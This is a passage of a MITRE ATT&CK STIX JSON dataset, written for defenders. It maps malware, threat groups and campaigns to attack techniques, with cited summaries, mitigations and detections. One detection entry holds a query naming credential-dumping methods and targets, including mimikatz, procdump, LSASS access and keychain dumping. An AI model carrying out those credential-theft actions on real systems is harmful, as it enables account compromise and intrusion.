Bitdefender Trickbot VNC module Whitepaper 2021)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7601a08-a52d-4daa-acb9-2f5e3392b6c3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:09:59.409Z","description":"[ZLib](https://attack.mitre.org/software/S0086) has the ability to discover and manipulate Windows services.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b766ad99-7562-44ed-a5fa-26551e6d62db","created":"2020-12-29T16:20:59.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:19:46.946Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) reduces the integrity level of objects to allow write actions.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b76abf9c-e38e-4a33-ae5f-7e9f1dad00b9","created":"2022-03-24T11:46:08.709Z","x_mitre_version":"1.0","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) can use HTTP or HTTPS for C2 communications.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-12T20:11:01.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b76d4437-7d55-4369-b262-eb4ca52d6059","type":"relationship","created":"2020-05-05T15:26:30.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-05T15:26:30.455Z","description":"[Rifdoor](https://attack.mitre.org/software/S0433) has been executed from malicious Excel or Word documents containing macros.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--44c75271-0e4d-496f-ae0a-a6d883a42a65","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b774aa5d-7731-46b4-b285-dc1c67a0d01c","created":"2024-08-30T14:03:31.446Z","revoked":false,"external_references":[{"source_name":"TrustedSec OOB Communications","description":"Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.","url":"https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T14:03:31.446Z","description":"Develop and enforce security policies that include the use of out-of-band communication channels for critical communications during a security incident.(Citation: TrustedSec OOB Communications)","relationship_type":"mitigates","source_ref":"course-of-action--80a0e940-f683-4fbd-ac00-e9f935f2f808","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7760f6b-9b57-4fa8-895a-4f4a209aa366","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:07:27.488Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can upload files to the victim's machine for operations.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7819241-5f33-482f-b43f-fed5e3e62cbc","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:37:53.484Z","description":"Monitor for processes being accessed that may search for common password storage locations to obtain user credentials.\n\nAnalytic 1 - Unauthorized process access indicating credential searches.\n\n index=security sourcetype IN (\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"linux_secure\", \"macos_secure\")\n(EventCode=10 TargetImage IN (\"*lsass.exe\", \"*securityd*\", \"*ssh-agent*\", \"*gpg-agent*\") OR\n EventCode=11 TargetObject IN (\"*password*\", \"*creds*\", \"*credentials*\", \"*secrets*\", \"*keychain*\", \"*.kdbx\", \"*.pfx\", \"*.pem\", \"*.p12\", \"*.key\") OR\n EventCode=1 CommandLine IN (\"*mimikatz*\", \"*procdump*\", \"*gcore*\", \"*dbxutil*\", \"*security find-generic-password*\", \"*security find-internet-password*\", \"*security dump-keychain*\", \"*gsettings get org.gnome.crypto.cache*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b783f90e-bd7c-4513-b15a-731637d7078d","created":"2020-01-24T17:42:23.786Z","x_mitre_version":"1.0","external_references":[{"source_name":"Increasing Linux kernel integrity","url":"https://linux-audit.com/increase-kernel-integrity-with-disabled-linux-kernel-modules-loading/","description":"Boelen, M. (2015, October 7). Increase kernel integrity with disabled Linux kernel modules loading. Retrieved June 4, 2020."},{"source_name":"Kernel Self Protection Project","url":"https://www.kernel.org/doc/html/latest/security/self-protection.html","description":"Kernel.org. (2020, February 6). Kernel Self-Protection. Retrieved June 4, 2020."},{"source_name":"LKM loading kernel restrictions","url":"https://xorl.wordpress.com/2018/02/17/lkm-loading-kernel-restrictions/","description":"Pingios, A.. (2018, February 7). LKM loading kernel restrictions. Retrieved June 4, 2020."},{"source_name":"Kernel.org Restrict Kernel Module","url":"https://patchwork.kernel.org/patch/8754821/","description":"Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin register. Retrieved April 9, 2018."},{"source_name":"Wikibooks Grsecurity","url":"https://en.wikibooks.org/wiki/Grsecurity/The_RBAC_System","description":"Wikibooks. (2018, August 19). Grsecurity/The RBAC System. Retrieved June 4, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Application control and software restriction tools, such as SELinux, KSPP, grsecurity MODHARDEN, and Linux kernel tuning can aid in restricting kernel module loading.(Citation: Kernel.org Restrict Kernel Module)(Citation: Wikibooks Grsecurity)(Citation: Kernel Self Protection Project)(Citation: Increasing Linux kernel integrity)(Citation: LKM loading kernel restrictions)","modified":"2022-04-18T19:59:08.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b784a456-decb-4d3a-a789-9dd67afb6e66","created":"2022-08-07T14:07:38.171Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SideCopy](https://attack.mitre.org/groups/G1008) has attempted to lure victims into clicking on malicious embedded archive files sent via spearphishing campaigns.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T15:54:24.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b78b74a4-7fe3-4de5-9aba-b176f1929a7c","type":"relationship","created":"2021-03-18T16:34:26.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA EB Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a","description":"Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021."}],"modified":"2021-03-18T16:34:26.858Z","description":"(Citation: CISA EB Aug 2020)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--e928333f-f3df-4039-9b8b-556c2add0e42","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b78b92b1-deab-4ac1-b1c5-ceb6fa28810a","created":"2024-03-26T18:44:21.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T18:19:01.401Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) can identify the victim's browser in order to serve the correct fake update page.(Citation: Secureworks Gold Prelude Profile)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b79256c4-9067-44ed-8e96-8b11a4c348e8","created":"2023-07-28T18:22:56.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.956Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has searched for infrastructure that can provide remote access to an environment for targeting efforts.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b792772b-381c-4ad3-896b-52f7873d88fa","created":"2023-03-31T18:07:04.089Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T16:07:24.489Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), WMI in scripts were used for remote execution and system surveys. (Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7930db8-2cb9-4ecf-b3d3-7425f99140d8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Deply Mimikatz","description":"Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.","url":"https://github.com/gentilkiwi/mimikatz"},{"source_name":"GitHub Mimikatz lsadump Module","description":"Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.","url":"https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"},{"source_name":"Directory Services Internals DPAPI Backup Keys Oct 2015","description":"Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.","url":"https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:45.853Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSASS Memory.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7999bd1-4704-489d-8fc3-80661592b6dc","type":"relationship","created":"2019-06-07T16:34:21.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2019-06-10T19:29:30.815Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) can list file and directory information.(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7a27a94-f036-4a0b-a96c-aa7bb1c7311f","type":"relationship","created":"2020-03-13T13:51:58.701Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Application Whitelisting","url":"https://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J.. (2014, November 18). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014."},{"source_name":"Microsoft Windows Defender Application Control","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control","description":"Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Microsoft Application Lockdown","url":"https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)?redirectedfrom=MSDN","description":"Corio, C., & Sayana, D. P.. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014."},{"source_name":"Microsoft Using Software Restriction ","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/ee791851(v=ws.11)?redirectedfrom=MSDN","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016."}],"modified":"2021-08-23T20:25:22.495Z","description":"Adversaries will likely need to place new binaries in locations to be executed through this weakness. Identify and block potentially malicious software executed path interception by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.(Citation: SANS Application Whitelisting)(Citation: Microsoft Windows Defender Application Control)(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker)(Citation: Microsoft Application Lockdown)(Citation: Microsoft Using Software Restriction )","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7a9afc1-3bbf-4eda-9709-5392156c1e41","type":"relationship","created":"2020-06-01T15:46:47.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-01T15:46:47.602Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used stolen domain admin accounts to compromise additional hosts.(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7b10c48-dd31-4b9e-a833-87f1a412e6a4","created":"2024-09-16T09:01:54.883Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:01:54.883Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can remove network shares from infected systems.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7b96965-2ae8-412d-bd39-00c87dc0314b","created":"2024-08-01T22:34:55.871Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon1 2022","description":"Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:34:55.871Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) can remove files related to use and installation.(Citation: Sekoia Raccoon1 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7b996f4-eb93-457d-a0e7-999e2dd39182","created":"2023-08-01T18:53:36.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.566Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can use `nltest.exe /domain_trusts` to discover domain trust relationships on a compromised machine.(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7be4fa3-8615-4e53-bb96-5e6e9f88cdc1","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:28:02.421Z","description":"Monitor for network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.\n\nNote: Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on network protocols and packet contents. ","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7c3b6c4-9f4b-4e11-92df-a4bb6e82a66a","created":"2022-09-27T17:55:21.474Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T17:55:21.474Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used scheduled tasks to execute malicious PowerShell code on remote systems.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b7c40c13-6b20-4470-a715-04b5fa01ef24","created":"2022-04-14T14:56:17.735Z","x_mitre_version":"0.1","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyTurla](https://attack.mitre.org/software/S0668) can upload files from a compromised host.(Citation: Talos TinyTurla September 